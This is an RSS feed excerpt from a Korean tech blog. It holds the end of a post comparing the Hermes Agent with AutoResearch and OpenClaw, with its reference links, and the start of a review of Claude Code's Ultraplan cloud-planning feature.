&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;카파시 AutoResearch와의 비교&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Andrej Karpathy의 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/karpathy/autoresearch&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AutoResearch&lt;/a&gt;는 단일 GPU에서 AI 에이전트가 5분짜리 LLM 학습 실험을 반복 실행하는 프로젝트다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes 팀은 여기서 영감을 받아 autoresearch 스킬을 개발 중이다. branch &amp;rarr; experiment &amp;rarr; evaluate &amp;rarr; merge/revert 루프로 돌아가고, ML 최적화, 코드 분석, 경쟁 정보 등 여러 도메인에 적용할 수 있다. cron으로 백그라운드 실행되며 시간/토큰/실험 횟수에 상한을 걸어둘 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AutoResearch가 ML 실험에 특화된 반면, Hermes는 같은 루프 구조를 코드 분석이나 리서치 같은 일반 작업에도 쓰려는 방향이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hermes vs OpenClaw: 공식 소개 문구 비교&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;비교 항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Hermes Agent&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;OpenClaw&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 포지셔닝&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;self-improving AI agent&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;personal AI assistant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대표 강점&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;built-in learning loop, persistent memory, skills&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;다양한 채널에서 응답하는 다중 플랫폼 개인 비서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;라이선스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MIT&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘 다 MIT 라이선스지만, Hermes는 self-improving을, OpenClaw는 personal assistant를 전면에 내세운다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2026년 자가학습 에이전트의 방향성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티 큐레이션 저장소 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/0xNyk/awesome-hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-hermes-agent&lt;/a&gt;가 별도로 운영되고 있다. 저장소 메타데이터와 README를 통해 관련 링크와 자료를 정리하는 허브 역할을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자가학습 에이전트에서 빠지지 않는 질문이 &quot;그래서 뭘 학습한 건지 확인할 수 있나?&quot;다. Hermes는 스킬을 마크다운 파일로 저장하기 때문에 사람이 직접 열어서 내용을 확인하고 수정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub: NousResearch/hermes-agent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/releases/tag/v2026.4.3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Release v0.7.0 (태그: v2026.4.3)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;install.sh 스크립트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/4832&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #4832 (autoresearch 스킬)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://api.github.com/repos/NousResearch/hermes-agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub API: 저장소 메타데이터&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Agent 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/sessions/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Sessions 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/skills/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Skills 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://agentskills.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agentskills.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openclaw/openclaw/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenClaw GitHub README&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/releases/tag/v2026.4.8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Release v0.8.0 (태그: v2026.4.8)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/memory/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Memory 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://agentskills.io/specification&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agentskills.io Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/4379&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #4379 (토큰 오버헤드 분석)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/issues/6440&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #6440 (webhook RCE)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;&lt;/div&gt;</description>
      <category>AI/Hermes</category>
      <category>AI 에이전트 메모리</category>
      <category>AI 에이전트 아키텍처</category>
      <category>Hermes Agent</category>
      <category>Multi-level Memory System</category>
      <category>Nous Research</category>
      <category>OpenClaw 대안</category>
      <category>persistent AI agent</category>
      <category>self-improving AI</category>
      <category>오픈소스 AI 에이전트</category>
      <category>자가학습 AI 에이전트</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/577</guid>
      <comments>https://goddaehee.tistory.com/577#entry577comment</comments>
      <pubDate>Thu, 9 Apr 2026 23:59:05 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 신기능 'Ultraplan' 리뷰 - 터미널 멈춤 없는 클라우드 플래닝(로컬 Plan Mode vs 클라우드 플래닝)</title>
      <link>https://goddaehee.tistory.com/576</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 Claude Code의 새로운 클라우드 플래닝 기능 &lt;b&gt;Ultraplan&lt;/b&gt;을 알아보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k3pal/dJMcagLSsJz/ik03H0ouV5znITwmakU260/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k3pal/dJMcagLSsJz/ik03H0ouV5znITwmakU260/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k3pal/dJMcagLSsJz/ik03H0ouV5znITwmakU260/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk3pal%2FdJMcagLSsJz%2Fik03H0ouV5znITwmakU260%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1168&quot; height=&quot;784&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 터미널에서 30분씩 멈춰 있던 플래닝 작업이 클라우드로 이동하고, 터미널은 자유를 되찾는다?? 라는 컨셉.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 그 이면에는 &quot;커스텀 skill을 쓰면 작동하지 않는다&quot;는 치명적 버그가 숨어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;약간 뜬구름 잡는 느낌일 것 같은데 하기 내용을 통해 살펴보자.&lt;/p&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Ultra Plan / Ultraplan이란 무엇인가&lt;/li&gt;
&lt;li&gt;시작하기: 가입, 설정, GitHub 연동&lt;/li&gt;
&lt;li&gt;주요 기능 상세&lt;/li&gt;
&lt;li&gt;아키텍처: 공개 정보 기반 추정&lt;/li&gt;
&lt;li&gt;실전 사용 경험과 커뮤니티 반응&lt;/li&gt;
&lt;li&gt;요금제 및 제한사항&lt;/li&gt;
&lt;li&gt;대안 비교: Ultraplan vs 로컬 Plan Mode&lt;/li&gt;
&lt;li&gt;트러블슈팅 Q&amp;amp;A + 결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Ultra Plan / Ultraplan이란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 한 줄&lt;/b&gt;: Ultraplan은 Claude Code의 플래닝 작업을 로컬 CLI에서 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/claude-code-on-the-web&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code on the web&lt;/a&gt; 클라우드 세션으로 오프로드하여, 터미널을 차단하지 않고 강력한 플래닝을 수행하는 기능이다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code를 쓰다 보면 plan mode에서 터미널이 수 분간 멈추는 경험을 한다. 복잡한 마이그레이션이나 대규모 리팩토링 작업일수록 이 &quot;터미널 병목&quot;은 더 심해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;에 따르면, Ultraplan은 로컬 CLI에서 플래닝 작업을 Anthropic이 관리하는 클라우드 VM(Claude Code on the web)으로 넘긴다. 클라우드 세션은 plan mode로 실행되며, 그 사이 로컬 터미널은 완전히 자유롭다. 현재 research preview 단계이며, &lt;b&gt;Claude Code v2.1.91 이상&lt;/b&gt;이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Ultraplan 실행 상태 모니터링&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan이 실행되면 CLI 프롬프트에 실시간 상태 표시가 나타난다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;◇ ultraplan&lt;/code&gt; : Claude가 코드베이스를 분석하고 플랜을 작성 중&lt;/li&gt;
&lt;li&gt;&lt;code&gt;◇ ultraplan needs your input&lt;/code&gt; : 확인이 필요한 질문이 있음 &amp;mdash; 세션 링크에서 응답&lt;/li&gt;
&lt;li&gt;&lt;code&gt;◆ ultraplan ready&lt;/code&gt; : 플랜 완성 &amp;mdash; 브라우저에서 리뷰 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;커뮤니티 추정: 플랜 모드 분류&lt;/b&gt;&lt;br /&gt;일부 커뮤니티 분석에서는 Ultraplan 내부에 Simple Plan / Visual Plan / Deep Plan 등 복잡도별 모드가 존재한다고 추정하지만, 공식 문서에는 이러한 구분이 명시되어 있지 않다. 공식적으로 Ultraplan은 단일 plan mode 세션으로 설명된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Ultraplan과 Max Plan의 관계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Ultra Plan&quot;이라는 명칭은 두 가지 맥락에서 쓰인다. 하나는 Claude.ai의 유료 구독 플랜인 &lt;b&gt;Max 플랜&lt;/b&gt;이고, 다른 하나는 Claude Code의 기능인 &lt;b&gt;Ultraplan(/ultraplan 명령어)&lt;/b&gt;이다. 이 글에서는 후자, 즉 Claude Code의 기능에 초점을 맞춘다. Max 플랜의 요금 정보는 6절에서 다룬다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #856404;&quot;&gt;⚠ 주의&lt;/span&gt;&lt;/b&gt;: Ultraplan은 공식적으로 &lt;b&gt;research preview&lt;/b&gt; 단계이며, 동작과 기능이 피드백에 따라 변경될 수 있다. Claude Code v2.1.91 이상이 필요하며, Amazon Bedrock, Google Cloud Vertex AI, Microsoft Foundry 환경에서는 사용할 수 없다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 2 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 시작하기: 가입, 설정, GitHub 연동&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;필수 조건&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan을 사용하려면 두 가지 조건이 필요하다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Claude.ai 계정&lt;/b&gt;: Pro, Max, Team, 또는 Enterprise 플랜 (Free 플랜 불가)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GitHub 저장소 연동&lt;/b&gt;: Ultraplan은 클라우드 VM에서 저장소를 클론하므로 GitHub 연동이 필요하다 (비연동 시 로컬 번들 폴백 존재)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬에만 있는 저장소나 커밋되지 않은 변경사항이 많은 저장소에서는 불완전한 컨텍스트로 플랜이 생성될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Ultraplan을 실행하는 세 가지 방법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;에 따르면 Ultraplan 실행 방법은 세 가지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 1: 직접 명령어 입력&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/ultraplan migrate the auth service from sessions to JWTs&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 2: 프롬프트 내 키워드 감지&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프롬프트 어디에든 &quot;ultraplan&quot;이라는 단어를 포함하면 자동으로 Ultraplan 모드가 활성화된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 3: 로컬 플랜 완료 후 전환&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 플랜 완료 후 승인 다이얼로그에서 &quot;No, refine with Ultraplan on Claude Code on the web&quot;을 선택하면, 로컬 플랜 초안을 클라우드로 보내 더 정교하게 다듬을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;진행 중인 Ultraplan 세션 모니터링&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan 세션이 실행되는 동안 로컬 터미널에서 아래 명령어로 상태를 확인할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;isbl&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/tasks&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;목록에서 ultraplan 항목을 선택하면 세션 링크, 에이전트 활동, Stop 옵션이 포함된 상세 뷰가 열린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 주요 기능 상세&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;클라우드 플래닝 완료 후 실행 선택&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #856404;&quot;&gt;⚠ Remote Control 해제&lt;/span&gt;&lt;/b&gt;: Ultraplan 시작 시 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/remote-control&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Remote Control&lt;/a&gt;이 활성화되어 있으면 자동으로 해제된다. 두 기능이 동일한 claude.ai/code 인터페이스를 점유하므로 동시에 사용할 수 없다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan 플래닝이 완료되면 브라우저에서 두 가지 실행 경로를 선택한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;브라우저에서 구현&lt;/b&gt;: &quot;Approve Claude's plan and start coding&quot; &amp;rarr; 동일한 Claude Code on the web 세션에서 바로 구현 시작&lt;/li&gt;
&lt;li&gt;&lt;b&gt;터미널로 텔레포트&lt;/b&gt;: &quot;Approve plan and teleport back to terminal&quot; &amp;rarr; 승인된 플랜이 로컬 터미널로 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널로 텔레포트를 선택하면, 로컬 CLI에 &lt;b&gt;&quot;Ultraplan approved&quot;&lt;/b&gt; 다이얼로그가 표시되며 세 가지 후속 선택지가 제공된다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Implement here&lt;/b&gt;: 현재 대화에 플랜을 주입하고 이어서 구현&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Start new session&lt;/b&gt;: 기존 대화를 비우고 플랜만으로 새 세션 시작&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Cancel&lt;/b&gt;: 플랜을 파일로 저장하고 나중에 다시 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;리뷰 인터페이스: 플랜 검토 및 수정 요청&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라우드에서 플랜이 생성되면 브라우저 리뷰 뷰에서 상세하게 검토할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;인라인 댓글&lt;/b&gt;: 특정 문단을 하이라이트하고 수정 요청 댓글 작성 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이모지 반응&lt;/b&gt;: 섹션별로 승인 또는 우려 표시&lt;/li&gt;
&lt;li&gt;&lt;b&gt;아웃라인 사이드바&lt;/b&gt;: 긴 플랜의 섹션 간 빠른 이동&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 인터페이스는 단순히 플랜을 보는 것을 넘어, Claude와 대화하며 플랜을 정교하게 다듬을 수 있게 해준다. 특히 여러 사람이 플랜을 리뷰해야 하는 팀 환경에서 유용하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
